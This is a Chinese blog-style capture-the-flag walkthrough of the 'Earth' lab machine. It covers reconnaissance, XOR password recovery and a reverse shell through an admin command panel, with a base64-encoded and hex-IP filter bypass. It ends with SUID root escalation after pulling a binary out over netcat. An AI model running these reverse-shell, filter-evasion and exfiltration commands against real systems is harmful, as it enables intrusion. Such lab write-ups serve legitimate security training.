The Planets: Earth靶场攻破

前言

信息搜集的魅力在于未知你不知道你能获取什么信息

准备

导入虚拟机靶场使用net模式，开启kali，我的ip为192.168.204.131

靶机信息搜集

ip探测

nmap 192.168.204.0/24 

发现目标靶机192.168.204.138

nmap -sV -p- -A -T4 192.168.130 对目标端口信息

发现开放了22，80，443端口，和两个域名配置/etc/hosts

目录扫描

访问目录发现有用信息

https://earth.local//admin/login         https://terratest.earth.local/robots.txt    https://earth.local/

  逐一访问后发现可疑文件

发现https://terratest.earth.local/robots.txt下的/testingnotes.*缺少后缀，常见后缀php,html,txt,png,jpg,jpeg,asp,js经尝试后发现https://terratest.earth.local/testingnotes.txt

 翻译

测试安全消息系统注意事项：
*使用XOR加密作为算法，应该像RSA中使用的那样安全。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
待办事项：
*我们如何安全地将每月的密钥发送到地球？或者我们应该每周更换钥匙？
*需要测试不同的密钥长度以防止暴力破解。钥匙应该多长？
*需要改进消息界面和管理面板的界面，目前还很基础。

 从这些话中看出有一个测试用户terra，他的密码和testdata.txt进行了异或加密，联想到首页的数值，应该需hex转字符，再异或解密。

 

导入key发现最后一个十六进制数解密出earthclimatechangebad4humans，应该是密码

账号terra密码earthclimatechangebad4humans登录成功

漏洞利用（命令执行）

翻译：欢迎 terra，在 Earth Messaging Machine 上运行 CLI 命令（小心使用）

可以命令执行，尝试反弹shell

攻击机： nc -lvnp 4444

bash -i  >& /dev/tcp/192.168.204.131/4444 0>$1

回显不可远程登录，反弹绕过

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNC4xMzEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
我把bash -i  >& /dev/tcp/192.168.204.131/4444 0>$1
进行base64加密


网上传播的绕过方法是把ip地址十进制转十六进制

bash -i  >& /dev/tcp/0xc0.0xa8.0xcc.0x8a/4444 0>$1

反弹成功 

下一步提权

提权

后信息收集（suid提权）

find / -user root -perm -4000 -print 2>/dev/null 

发现/usr/bin/reset_root可疑，（可理解为重新设值root）靶机有nc

运行发现可以重置root密码为Earth

靶机：nc 192.168.204.131 3333   <   /usr/bin/reset_root 

攻击机：nc -q 5  -lvnp 3333   >   eset_root

调试reset_root

 

chmod +x  ./reset_root

strace  ./reset_root

发现缺少条件，在靶机创建以下文件

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch  /tmp/kcM0Wewe

重置密码为Earth

美丽的地球

看到这里了，得博主点点赞，感谢大家的支持